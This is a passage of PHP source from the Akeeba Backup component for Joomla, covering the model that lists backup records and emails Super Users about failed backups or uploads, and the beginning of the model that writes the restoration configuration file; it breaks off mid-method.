		$remoteFilenameParts = explode('://', $remote_filename, 2);

		return $remoteFilenameParts[0];
	}

}PK     \De  e    src/Model/StatisticsModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelStateFixTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Service\ComponentParameters;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Mail\Mail;
use Joomla\CMS\Mail\MailerFactoryInterface;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Pagination\Pagination;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserFactoryInterface;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseQuery;
use Joomla\Database\ParameterType;
use Joomla\Database\QueryInterface;

#[\AllowDynamicProperties]
class StatisticsModel extends ListModel
{
	use ModelStateFixTrait;
	
	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = [
				'search',
				'from',
				'to',
				'origin',
				'profile',
				'frozen',
			];
		}

		parent::__construct($config, $factory);

		$this->filterFormName = 'filter_manage';
	}

	/**
	 * Is this string a valid remote filename?
	 *
	 * We've had reports that some servers return a bogus, non-empty string for some remote_filename columns, causing
	 * the "Manage remote stored files" column to appear even for locally stored files. By applying more rigorous tests
	 * for the remote_filename column we can avoid this problem.
	 *
	 * @param   string|null  $filename
	 *
	 * @return  bool
	 *
	 * @since   9.2.2
	 */
	public function isRemoteFilename(?string $filename = null): bool
	{
		// A remote filename has to be a string which is does not consist solely of whitespace
		if (!is_string($filename) || trim($filename) === '')
		{
			return false;
		}

		// Let's remote whitespace just in case
		$filename = trim($filename);

		// A remote filename must be in the format engine://path
		if (strpos($filename, '://') === false)
		{
			return false;
		}

		// Get the engine and path
		[$engine, $path] = explode('://', $filename, 2);
		$engine = trim($engine);
		$path   = trim($path);

		// Both engine and path must be non-empty
		if (empty($engine) || empty($path))
		{
			return false;
		}

		// The engine must be known to the backup engine
		$classname = 'Akeeba\\Engine\\Postproc\\' . ucfirst($engine);

		return class_exists($classname);
	}

	/**
	 * Does the log file for the given backup record exist on the server?
	 *
	 * @param   array  $stat  A backup record (as returned by get_statistics_list)
	 *
	 * @return  bool
	 */
	public function hasLogFile(array $stat): bool
	{
		if (empty($stat['backupid']) || empty($stat['tag']) || empty($stat['absolute_path']))
		{
			return false;
		}

		$logDir = dirname($stat['absolute_path']);
		$base   = 'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log';

		return @file_exists($logDir . '/' . $base) || @file_exists($logDir . '/' . $base . '.php');
	}

	/**
	 * Returns the same list as getStatisticsList(), but includes an extra field
	 * named 'meta' which categorises attempts based on their backup archive status
	 *
	 * @param   bool   $overrideLimits  Should I disregard limit, limitStart and filters?
	 * @param   array  $filters         Filters to apply. See Platform::get_statistics_list
	 * @param   array  $order           Results ordering. The accepted keys are by (column name) and order (ASC or DESC)
	 *
	 * @return  array  An array of arrays. Each inner array is one backup record.
	 */
	public function &getStatisticsListWithMeta($overrideLimits = false, $filters = null, $order = null)
	{
		$limitstart = $overrideLimits ? 0 : $this->getState('list.start', 0);
		$limit      = $overrideLimits ? 0 : $this->getState('list.limit', 10);
		$filters    = $overrideLimits ? null : $filters;

		if (is_array($order) && isset($order['order']))
		{
			$order['order'] = strtoupper($order['order']) === 'ASC' ? 'asc' : 'desc';
		}

		$allStats = Platform::getInstance()->get_statistics_list([
			'limitstart' => $limitstart,
			'limit'      => $limit,
			'filters'    => $filters,
			'order'      => $order,
		]);

		$validRecords          = Platform::getInstance()->get_valid_backup_records() ?: [];
		$updateObsoleteRecords = [];
		$ret                   = array_map(function (array $stat) use (&$updateObsoleteRecords, $validRecords) {
			$hasRemoteFiles = false;

			// Translate backup status and the existence of a remote filename to the backup record's "meta" status.
			switch ($stat['status'])
			{
				case 'run':
					$stat['meta'] = 'pending';
					break;

				case 'fail':
					$stat['meta'] = 'fail';
					break;

				default:
					$hasRemoteFiles = $this->isRemoteFilename($stat['remote_filename']);
					$stat['meta']   = $hasRemoteFiles ? 'remote' : 'obsolete';
					break;
			}

			$stat['hasRemoteFiles'] = $hasRemoteFiles;

			// If the backup is reported to have files still stored on the server we need to investigate further
			if (in_array($stat['id'], $validRecords))
			{
				$archives      = Factory::getStatistics()->get_all_filenames($stat);
				$hasLocalFiles = (is_array($archives) ? count($archives) : 0) > 0;
				$stat['meta']  = $hasLocalFiles ? 'ok' : ($hasRemoteFiles ? 'remote' : 'obsolete');

				// The archives exist. Set $stat['size'] to the total size of the backup archives.
				if ($hasLocalFiles)
				{
					$stat['size'] = $stat['total_size']
						?: array_reduce(
							$archives,
							function ($carry, $filename) {
								return $carry += @filesize($filename) ?: 0;
							},
							0
						);

					return $stat;
				}

				// The archives do not exist or we can't find them. If the record says otherwise we need to update it.
				if ($stat['filesexist'])
				{
					$updateObsoleteRecords[] = $stat['id'];
				}

				// Does the backup record report a total size even though our files no longer exist?
				if ($stat['total_size'])
				{
					$stat['size'] = $stat['total_size'];
				}
			}

			return $stat;
		}, $allStats);

		$ret = array_map(function (array $stat): array {
			$stat['log_present'] = $this->hasLogFile($stat);
			return $stat;
		}, $ret);

		// Update records which report that their files exist on the server but, in fact, they don't.
		Platform::getInstance()->invalidate_backup_records($updateObsoleteRecords);

		return $ret;
	}

	/**
	 * Send an email notification for backups which failed to upload to remote storage.
	 *
	 * @return  array  See the CLI script
	 * @since   10.1.0
	 */
	public function notifyFailedUploads()
	{
		// Get profile ID with a post proc engine
		$profileIDsWithPostProc = $this->getProfileIDsWithPostProcEngines();

		if (empty($profileIDsWithPostProc))
		{
			return [
				'message' => ["No need to run: no backup profiles with remote storage currently set up."],
				'result'  => true,
			];
		}

		$cParams = ComponentHelper::getParams('com_akeebabackup');

		// Get the last execution and search for failed uploads AFTER that date
		$last = $this->getLastCheck('akeeba_checkfailedupload');

		// Get backup records with failed uploads
		$filters                       = [
			['field' => 'profile_id', 'operand' => 'IN', 'value' => $profileIDsWithPostProc],
			['field' => 'status', 'operand' => '=', 'value' => 'complete'],
			['field' => 'type', 'operand' => '!=', 'value' => 'dbonly'],
			['field' => 'filesexist', 'operand' => '=', 'value' => '1'],
			['field' => 'frozen', 'operand' => '=', 'value' => '0'],
			['field' => 'remote_filename', 'operand' => 'EMPTY', 'value' => ''],
			['field' => 'backupstart', 'operand' => '>', 'value' => $last],
		];

		$failedUploads = Platform::getInstance()->get_statistics_list(['filters' => $filters]);

		// Well, everything went ok.
		if (!$failedUploads)
		{
			return [
				'message' => ["No need to run: no backups with failed uploads, or notifications were already sent."],
				'result'  => true,
			];
		}

		// Whops! Something went wrong, let's start notifing
		$superAdmins     = [];
		$superAdminEmail = $cParams->get('uploadfailure_email_address', '');

		if (!empty($superAdminEmail))
		{
			$superAdmins = $this->getSuperUsers($superAdminEmail);
		}

		if (empty($superAdmins))
		{
			$superAdmins = $this->getSuperUsers();
		}

		if (empty($superAdmins))
		{
			return [
				'message' => ["Failed uploads(s) detected, but there are no configured Super Administrators to receive notifications"],
				'result'  => false,
			];
		}

		$failedReport = [];

		foreach ($failedUploads as $fail)
		{
			$string  = "Description : " . $fail['description'] . "\n";
			$string .= "Start time  : " . $fail['backupstart'] . "\n";
			$string .= "Origin      : " . $fail['origin'] . "\n";
			$string .= "Type        : " . $fail['type'] . "\n";
			$string .= "Profile ID  : " . $fail['profile_id'] . "\n";
			$string .= "Backup ID   : " . $fail['id'];

			$failedReport[] = $string;
		}

		$failedReport = implode("\n#-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+#\n", $failedReport);

		$email_subject = $cParams->get('uploadfailure_email_subject', '');

		if (!$email_subject)
		{
			$email_subject = <<<ENDSUBJECT
THIS EMAIL IS SENT FROM YOUR SITE "[SITENAME]" - Failed to upload the following backup(s) to remote storage
ENDSUBJECT;
		}

		$email_body = $cParams->get('uploadfailure_email_body', '');

		if (!$email_body)
		{
			$email_body = <<<ENDBODY
================================================================================
FAILED BACKUP UPLOAD ALERT
================================================================================

Your site has determined that there are backups which failed to upload to remote
storage.

The following backups failed to upload to remote storage:

[FAILEDLIST]

================================================================================
WHY AM I RECEIVING THIS EMAIL?
================================================================================

This email has been automatically sent by a script that you, or the person who
built or manages your site, has installed and explicitly configured. This script
looks for backups which failed to upload to remote storage and sends an email
notification to all Super Users.

If you do not understand what this means, please do not contact the authors of
the software. They are NOT sending you this email and they cannot help you.
Instead, please contact the person who built or manages your site.

================================================================================
WHO SENT ME THIS EMAIL?
================================================================================

This email is sent to you by your own site, [SITENAME]

ENDBODY;
		}

		$app = JoomlaFactory::getApplication();

		$mailfrom = $app->get('mailfrom');
		$fromname = $app->get('fromname');

		$email_subject = Factory::getFilesystemTools()->replace_archive_name_variables($email_subject);
		$email_body    = Factory::getFilesystemTools()->replace_archive_name_variables($email_body);
		$email_body    = str_replace('[FAILEDLIST]', $failedReport, $email_body);

		foreach ($superAdmins as $sa)
		{
			try
			{
				/** @var Mail $mailer */
				$mailer = JFactory::getContainer()->get(MailerFactoryInterface::class)->createMailer();

				$mailer->setSender([$mailfrom, $fromname]);
				$mailer->addRecipient($sa->email);
				$mailer->setSubject($email_subject);
				$mailer->setBody($email_body);
				$mailer->Send();
			}
			catch (Exception $e)
			{
				// Joomla! 3.5 is written by incompetent bonobos
			}
		}

		// Let's update the last time we check, so we will avoid to send
		// the same notification several times
		$this->updateLastCheck(intval($last), 'akeeba_checkfailedupload');

		return [
			'message' => [
				sprintf(
					'Found %d failed upload(s)',
					(is_array($failedUploads) || $failedUploads instanceof \Countable)
						? count($failedUploads)
						: 0
				),
				sprintf(
					"Sent %s notifications",
					count($superAdmins)
				),
			],
			'result'  => false,
		];
	}

	/**
	 * Send an email notification for failed backups
	 *
	 * @return  array  See the CLI script
	 */
	public function notifyFailed()
	{
		$cParams = ComponentHelper::getParams('com_akeebabackup');

		// Invalidate stale backups
		try
		{
			Factory::resetState([
				'global' => true,
				'log'    => false,
				'maxrun' => $cParams->get('failure_timeout', 180),
			]);
		}
		catch (Exception $e)
		{
			// This will die if the output directory is invalid. Let it die, then.
		}

		// Get the last execution and search for failed backups AFTER that date
		$last = $this->getLastCheck();

		// Get failed backups
		$filters = [
			['field' => 'status', 'operand' => '=', 'value' => 'fail'],
			['field' => 'backupstart', 'operand' => '>', 'value' => $last],
		];

		$failed = Platform::getInstance()->get_statistics_list(['filters' => $filters]);

		// Well, everything went ok.
		if (!$failed)
		{
			return [
				'message' => ["No need to run: no failed backups or notifications were already sent."],
				'result'  => true,
			];
		}

		// Whops! Something went wrong, let's start notifing
		$superAdmins     = [];
		$superAdminEmail = $cParams->get('failure_email_address', '');

		if (!empty($superAdminEmail))
		{
			$superAdmins = $this->getSuperUsers($superAdminEmail);
		}

		if (empty($superAdmins))
		{
			$superAdmins = $this->getSuperUsers();
		}

		if (empty($superAdmins))
		{
			return [
				'message' => ["Failed backup(s) detected, but there are no configured Super Administrators to receive notifications"],
				'result'  => false,
			];
		}

		$failedReport = [];

		foreach ($failed as $fail)
		{
			$string = "Description : " . $fail['description'] . "\n";
			$string .= "Start time  : " . $fail['backupstart'] . "\n";
			$string .= "Origin      : " . $fail['origin'] . "\n";
			$string .= "Type        : " . $fail['type'] . "\n";
			$string .= "Profile ID  : " . $fail['profile_id'] . "\n";
			$string .= "Backup ID   : " . $fail['id'];

			$failedReport[] = $string;
		}

		$failedReport = implode("\n#-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+#\n", $failedReport);

		$email_subject = $cParams->get('failure_email_subject', '');

		if (!$email_subject)
		{
			$email_subject = <<<ENDSUBJECT
THIS EMAIL IS SENT FROM YOUR SITE "[SITENAME]" - Failed backup(s) detected
ENDSUBJECT;
		}

		$email_body = $cParams->get('failure_email_body', '');

		if (!$email_body)
		{
			$email_body = <<<ENDBODY
================================================================================
FAILED BACKUP ALERT
================================================================================

Your site has determined that one or more backups failed to complete.

The following backups have failed to complete:

[FAILEDLIST]

================================================================================
WHY AM I RECEIVING THIS EMAIL?
================================================================================

This email has been automatically sent by a script which you, or the person who
built or manages your site, has installed and explicitly configured. This script
looks for failed backups and sends an email notification to all Super Users.

If you do not understand what this means, please do not contact the authors of
the software. They are NOT sending you this email and they cannot help you.
Instead, please contact the person who built or manages your site.

================================================================================
WHO SENT ME THIS EMAIL?
================================================================================

This email is sent to you by your own site, [SITENAME]

ENDBODY;
		}

		$app = JoomlaFactory::getApplication();

		$mailfrom = $app->get('mailfrom');
		$fromname = $app->get('fromname');

		$email_subject = Factory::getFilesystemTools()->replace_archive_name_variables($email_subject);
		$email_body    = Factory::getFilesystemTools()->replace_archive_name_variables($email_body);
		$email_body    = str_replace('[FAILEDLIST]', $failedReport, $email_body);

		foreach ($superAdmins as $sa)
		{
			try
			{
				/** @var Mail $mailer */
				$mailer = JFactory::getContainer()->get(MailerFactoryInterface::class)->createMailer();

				$mailer->setSender([$mailfrom, $fromname]);
				$mailer->addRecipient($sa->email);
				$mailer->setSubject($email_subject);
				$mailer->setBody($email_body);
				$mailer->Send();
			}
			catch (Exception $e)
			{
				// Joomla! 3.5 is written by incompetent bonobos
			}
		}

		// Let's update the last time we check, so we will avoid to send
		// the same notification several times
		$this->updateLastCheck(intval($last));

		return [
			'message' => [
				sprintf(
					'Found %d failed backup(s)',
					(is_array($failed) || $failed instanceof \Countable)
						? count($failed)
						: 0
				),
				sprintf(
					"Sent %s notifications",
					count($superAdmins)
				),
			],
			'result'  => false,
		];
	}

	/**
	 * Set the flag to hide the restoration instructions modal from the Manage Backups page
	 *
	 * @param   ComponentParameters  $componentParametersService
	 *
	 * @return  void
	 */
	public function hideRestorationInstructionsModal(ComponentParameters $componentParametersService)
	{
		$cParams = ComponentHelper::getParams('com_akeebabackup');
		$cParams->set('show_howtorestoremodal', 0);

		$componentParametersService->save($cParams);
	}

	/**
	 * Get a Joomla! pagination object
	 *
	 * @param   array  $filters  Filters to apply. See Platform::get_statistics_list
	 *
	 * @return  Pagination
	 */
	public function getFilteredPagination($filters = null)
	{
		// Get a storage key.
		$store = $this->getStoreId('getPagination:' . hash('md5', serialize($filters)));

		// Try to load the data from internal storage.
		if (isset($this->cache[$store]))
		{
			return $this->cache[$store];
		}

		// Prepare pagination values
		$total      = Platform::getInstance()->get_statistics_count($filters);
		$limitstart = $this->getState('list.start', 0);
		$limit      = $this->getState('list.limit', 10);

		// Create the pagination object
		$this->cache[$store] = new Pagination($total, $limitstart, $limit);

		return $this->cache[$store];
	}

	/**
	 * Returns the profile IDs which have a post-processing engine enabled.
	 *
	 * @return  array
	 * @since   10.1.0
	 */
	protected function getProfileIDsWithPostProcEngines(): array
	{
		try
		{
			$db         = $this->getDatabase();
			$query      = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select($db->quoteName('id'))
				->from($db->quoteName('#__akeebabackup_profiles'));
			$profileIDs = $db->setQuery($query)->loadColumn() ?: [];
		}
		catch (Exception $e)
		{
			return [];
		}

		$currentProfileId = Platform::getInstance()->get_active_profile() ?: 1;
		$applicableProfileIDs = [];

		foreach ($profileIDs as $profileID)
		{
			try
			{
				Platform::getInstance()->load_configuration($profileID);
				$engine = Factory::getConfiguration()->get('akeeba.advanced.postproc_engine') ?: 'none';
			}
			catch (Exception $e)
			{
				continue;
			}

			if ($engine === 'none')
			{
				continue;
			}

			$applicableProfileIDs[] = $profileID;
		}

		Platform::getInstance()->load_configuration($currentProfileId);

		return $applicableProfileIDs;
	}

	protected function populateState($ordering = null, $direction = null)
	{
		// Call the parent method
		parent::populateState($ordering, $direction);

		$app = JoomlaFactory::getApplication();

		if ($app->isClient('site'))
		{
			$this->setState('list.start', 0);
			$this->setState('list.limit', 0);
		}
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return DatabaseQuery|QueryInterface
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 */
	protected function getListQuery()
	{
		/** @var DatabaseDriver $db */
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->select('*')
		            ->from($db->qn('#__akeebabackup_backups'));

		// Description / ID search filter
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$ids = (int) substr($search, 3);
				$query->where($db->quoteName('id') . ' = :id')
				      ->bind(':id', $ids, ParameterType::INTEGER);
			}
			else
			{
				$search = '%' . $search . '%';
				$query->where($db->qn('description') . ' LIKE :search')
				      ->bind(':search', $search);
			}
		}

		// Dates from and to filters
		$from = $this->getState('filter.from');
		$to   = $this->getState('filter.to');

		if (!empty($from) && !empty($to))
		{
			$from = (clone JoomlaFactory::getDate($from))->toSql();
			$to   = (clone JoomlaFactory::getDate($to))->toSql();
			$query->where($db->qn('backupstart') . ' BETWEEN :from AND :to')
			      ->bind(':from', $from, ParameterType::STRING)
			      ->bind(':to', $to, ParameterType::STRING);
		}
		elseif (!empty($from))
		{
			$from = (clone JoomlaFactory::getDate($from))->toSql();
			$query->where($db->qn('backupstart') . ' >= :from')
			      ->bind(':from', $from, ParameterType::STRING);
		}
		elseif (!empty($to))
		{
			$to = (clone JoomlaFactory::getDate($to))->toSql();
			$query->where($db->qn('backupstart') . ' <= :to')
			      ->bind(':to', $to, ParameterType::STRING);
		}

		// origin filter
		$origin = $this->getState('filter.origin');

		if (is_string($origin) && !empty($origin))
		{
			$query->where($db->qn('origin') . ' = :origin')
			      ->bind(':origin', $origin, ParameterType::STRING);
		}

		// profile filter
		$profile = $this->getState('filter.profile');

		if (is_numeric($profile))
		{
			$query->where($db->qn('profile_id') . ' = :profile')
			      ->bind(':profile', $profile, ParameterType::INTEGER);
		}

		// frozen filter
		$frozen = $this->getState('filter.frozen');

		if (is_numeric($frozen))
		{
			// Option 2 is non-frozen which is 0 in the database
			$frozen = $frozen == 2 ? 0 : $frozen;
			$query->where($db->qn('frozen') . ' = :frozen')
			      ->bind(':frozen', $frozen, ParameterType::INTEGER);
		}

		return $query;
	}

	/**
	 * Returns the Super Users' email information. If you provide a comma separated $email list we will check that these
	 * emails do belong to Super Users and that they have not blocked reception of system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email, null for all Super Users
	 *
	 * @return  User[]  The list of Super User objects
	 */
	private function getSuperUsers($email = null)
	{
		// Convert the email list to an array
		$emails = [];

		if (!empty($email))
		{
			$temp   = explode(',', $email);
			$emails = [];

			foreach ($temp as $entry)
			{
				$emails[] = trim($entry);
			}

			$emails = array_unique($emails);
			$emails = array_map('strtolower', $emails);
		}

		// Get all usergroups with Super User access
		$db     = $this->getDatabase();
		$q      = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		             ->select([$db->qn('id')])
		             ->from($db->qn('#__usergroups'));
		$groups = $db->setQuery($q)->loadColumn();

		// Get the groups that are Super Users
		$groups = array_filter($groups, function ($gid) {
			return Access::checkGroup($gid, 'core.admin');
		});

		$userList = [];

		foreach ($groups as $gid)
		{
			$uids = Access::getUsersByGroup($gid);

			array_walk($uids, function ($uid, $index) use (&$userList) {
				$userList[$uid] = JoomlaFactory::getContainer()->get(UserFactoryInterface::class)->loadUserById($uid);
			});

		}

		if (empty($emails))
		{
			return $userList;
		}

		$userList = array_filter($userList, function (User $user) use ($emails) {
			return in_array(strtolower($user->email), $emails);
		});

		return $userList;
	}

	/**
	 * Update the time we last checked for failed backups
	 *
	 * @param   bool    $exists  Any non zero value means that we update, not insert, the record
	 * @param   string  $tag     The storage tag to update, default `akeeba_checkfailed`
	 *
	 * @return  void
	 */
	private function updateLastCheck(bool $exists = false, string $tag = 'akeeba_checkfailed')
	{
		$db = $this->getDatabase();

		$now      = clone JoomlaFactory::getDate();
		$nowToSql = $now->toSql();

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->insert($db->qn('#__akeebabackup_storage'))
		            ->columns([$db->qn('tag'), $db->qn('lastupdate')])
		            ->values(':tag, :lastupdate')
		            ->bind(':tag', $tag)
		            ->bind(':lastupdate', $nowToSql);

		if ($exists)
		{
			$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			            ->update($db->qn('#__akeebabackup_storage'))
			            ->set($db->qn('lastupdate') . ' = :lastupdate')
			            ->where($db->qn('tag') . ' = :tag')
			            ->bind(':tag', $tag)
			            ->bind(':lastupdate', $nowToSql);
		}

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $exc)
		{
		}
	}

	/**
	 * Get the last update check date and time stamp
	 *
	 * @param   string  $tag     The storage tag to update, default `akeeba_checkfailed`
	 *
	 * @return  string
	 */
	private function getLastCheck(string $tag = 'akeeba_checkfailed')
	{
		$db = $this->getDatabase();

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->select($db->qn('lastupdate'))
		            ->from($db->qn('#__akeebabackup_storage'))
		            ->where($db->qn('tag') . ' = :tag')
					->bind(':tag', $tag);

		$datetime = $db->setQuery($query)->loadResult();

		if (!intval($datetime))
		{
			$datetime = $db->getNullDate();
		}

		return $datetime;
	}

}PK     \鎥+  +    src/Model/RestoreModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\GetErrorsFromExceptionsTrait;
use Akeeba\Engine\Archiver\Directftp;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Factory\MVCFactoryAwareTrait;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\MVC\Factory\MVCFactoryServiceInterface;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\CMS\User\UserHelper;
use RuntimeException;

#[\AllowDynamicProperties]
class RestoreModel extends BaseModel
{
	use GetErrorsFromExceptionsTrait;
	use MVCFactoryAwareTrait;

	/** @var   string  Random password, used to secure the restoration */
	public $password;

	/**
	 * The URL option for the component.
	 *
	 * @var    string
	 * @since  3.0
	 */
	protected $option = null;

	/** @var   array  The backup record being restored */
	private $data;

	/** @var   string  The extension of the archive being restored */
	private $extension;

	/** @var   string  Absolute path to the archive being restored */
	private $path;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null)
	{
		parent::__construct($config);

		// Guess the option from the class name (Option)Model(View).
		if (empty($this->option))
		{
			$r = null;

			if (!preg_match('/(.*)Model/i', \get_class($this), $r))
			{
				throw new Exception(Text::sprintf('JLIB_APPLICATION_ERROR_GET_NAME', __METHOD__), 500);
			}

			$this->option = ComponentHelper::getComponentName($this, $r[1]);
		}

		if ($factory)
		{
			$this->setMVCFactory($factory);

			return;
		}

		$component = JoomlaFactory::getApplication()->bootComponent($this->option);

		if ($component instanceof MVCFactoryServiceInterface)
		{
			$this->setMVCFactory($component->getMVCFactory());
		}
	}

	/**
	 * Generates a pseudo-random password
	 *
	 * @param   int  $length  The length of the password in characters
	 *
	 * @return  string  The requested password string
	 */
	public function makeRandomPassword($length = 32)
	{
		return UserHelper::genRandomPassword($length);
	}

	/**
	 * Validates the data passed to the request.
	 *
	 * @return  mixed  True if all is OK, an error string if something is wrong
	 */
	public function validateRequest()
	{
		// Is this a valid backup entry?
		$ids       = $this->getIDsFromRequest();
		$id        = array_pop($ids);
		$profileID = JoomlaFactory::getApplication()->getInput()->getInt('profileid', 0);

		// No backup IDs in the request and no backup profile (which means I should use its latest backup record) is found.
		if (empty($id) && ($profileID <= 0))
		{
			return Text::_('COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD');
		}

		if (empty($id))
		{
			try
			{
				$id = $this->getLatestBackupForProfile($profileID);
			}
			catch (RuntimeException $e)
			{
				return $e->getMessage();
			}
		}

		$this->setState('id', $id);

		$data = Platform::getInstance()->get_statistics($id);

		if (empty($data))
		{
			return Text::_('COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD');
		}

		if ($data['status'] != 'complete')
		{
			return Text::_('COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD');
		}

		// Load the profile ID (so that we can find out the output directory)
		$profile_id = $data['profile_id'];
		Platform::getInstance()->load_configuration($profile_id);

		$path   = $data['absolute_path'];
		$exists = @file_exists($path);

		if (!$exists)
		{
			// Let's try figuring out an alternative path
			$config = Factory::getConfiguration();
			$path   = $config->get('akeeba.basic.output_directory', '') . '/' . $data['archivename'];
			$exists = @file_exists($path);
		}

		if (!$exists)
		{
			return Text::_('COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING');
		}

		$filename  = basename($path);
		$lastdot   = strrpos($filename, '.');
		$extension = strtoupper(substr($filename, $lastdot + 1));

		if (!in_array($extension, ['JPS', 'JPA', 'ZIP']))
		{
			return Text::_('COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE');
		}

		$this->data      = $data;
		$this->path      = $path;
		$this->extension = $extension;

		return true;
	}

	/**
	 * Finds the latest backup for a given backup profile with an "OK" status (the archive file exists on your server).
	 * If none is found a RuntimeException is thrown.
	 *
	 * This method uses the code from the Transfer model for DRY reasons.
	 *
	 * @param   int  $profileID  The profile in which to locate the latest valid backup
	 *
	 * @return  int
	 *
	 * @throws  RuntimeException|Exception
	 *
	 * @since   5.3.0
	 */
	public function getLatestBackupForProfile(int $profileID): int
	{
		/** @var TransferModel $transferModel */
		$transferModel = $this->getMVCFactory()->createModel('Transfer', 'Administrator');
		$latestBackup  = $transferModel->getLatestBackupInformation($profileID);

		if (empty($latestBackup))
		{
			throw new RuntimeException(Text::sprintf('COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST', $profileID));
		}

		return $latestBackup['id'];
	}

	/**
	 * Creates the restoration.php file which is used to configure Akeeba Restore (restore.php). Without it, resotre.php
	 * is completely inert, preventing abuse.
	 *
	 * @return  bool
	 */
	public function createRestorationINI(): bool
	{
		// Get a password
		$this->password = $this->makeRandomPassword(32);
		$this->setState('password', $this->password);

		// Do we have to use FTP?
		$procengine = $this->getState('procengine', 'direct');

		// Get the absolute path to site's root
		$siteroot = JPATH_SITE;

		// Get the JPS password
		$password = addslashes($this->getState('jps_key'));

		// Get min / max execution time
		$min_exec = (int) $this->getState('min_exec', 0);
		$max_exec = (int) $this->getState('max_exec', 5);
		$bias     = 75;

		$data = "<?php\ndefined('_AKEEBA_RESTORATION') or die();\n";
		$data .= '$restoration_setup = array(' . "\n";
		$data .= <<<ENDDATA
	'kickstart.security.password' => '{$this->password}',
	'kickstart.tuning.max_exec_time' => '{$max_exec}',
	'kickstart.tuning.run_time_bias' => '{$bias}',
	'kickstart.tuning.min_exec_time' => '{$min_exec}',
	'kickstart.procengine' => '$procengine',
	'kickstart.setup.sourcefile' => '{$this->path}',
	'kickstart.setup.destdir' => '$siteroot',
	'kickstart.setup.restoreperms' => '0',
	'kickstart.setup.filetype' => '{$this->extension}',
	'kickstart.setup.dryrun' => '0',
	'kickstart.jps.password' => '$password'
ENDDATA;

		/**
		 * Tell the restoration script to enable stealth mode. This will have two side effects:
		 *
		 * 1. Regular visitors won't be redirected to the installation folder, potentially causing issues
		 * 2. If direct access to the installation folder has been blocked (ie by the Htaccess Maker) it will be allowed
		 */
		if ((int) $this->getState('stealthmode', 0) == 1)
		{
			$data .= ",\n\t	'kickstart.stealth.enable' => '1',\n\t'kickstart.stealth.url' => 'installation/offline.html'";
		}

		/**
		 * Should I enable the “Delete everything before extraction” option?
		 *
		 * This requires TWO conditions to be true:
		 *
		 * 1. The application-level configuration option showDeleteOnRestore was enabled to show the option to the user
		 * 2. The user has enabled this option (the Controller sets it in the zapbefore model variable)
		 */
		$cParams              = ComponentHelper::getParams($this->option);
		$shownDeleteOnRestore = $cParams->get('showDeleteOnRestore', 0) == 1;

		if ($shownDeleteOnRestore && ((int) $this->getState('zapbefore', 0) == 1))
		{
			$data .= ",\n\t'kickstart.setup.zapbefore' => '1'";
		}

		// If we're using the FTP or Hybrid engine we need to set up the FTP parameters
		if (in_array($procengine, ['ftp', 'hybrid']))
		{
			$ftp_host = $this->getState('ftp_host', '');
			$ftp_port = $this->getState('ftp_port', '21');
			$ftp_user = $this->getState('ftp_user', '');
			$ftp_pass = addcslashes($this->getState('ftp_pass', ''), "'\\");
			$ftp_root = $this->getState('ftp_root', '');
			$ftp_ssl  = $this->getState('ftp_ssl', 0);
			$ftp_pasv = $this->getState('ftp_root', 1);
			$tempdir  = $this->getState('tmp_path', '');
			$data     .= <<<ENDDATA
	,
	'kickstart.ftp.ssl' => '$ftp_ssl',
	'kickstart.ftp.passive' => '$ftp_pasv',
	'kickstart.ftp.host' => '$ftp_host',
	'kickstart.ftp.port' => '$ftp_port',
	'kickstart.ftp.user' => '$ftp_user',
	'kickstart.ftp.pass' => '$ftp_pass',
	'kickstart.ftp.dir' => '$ftp_root',
	'kickstart.ftp.tempdir' => '$tempdir'
ENDDATA;
		}

		$data .= ');';

		// Remove the old file, if it's there...
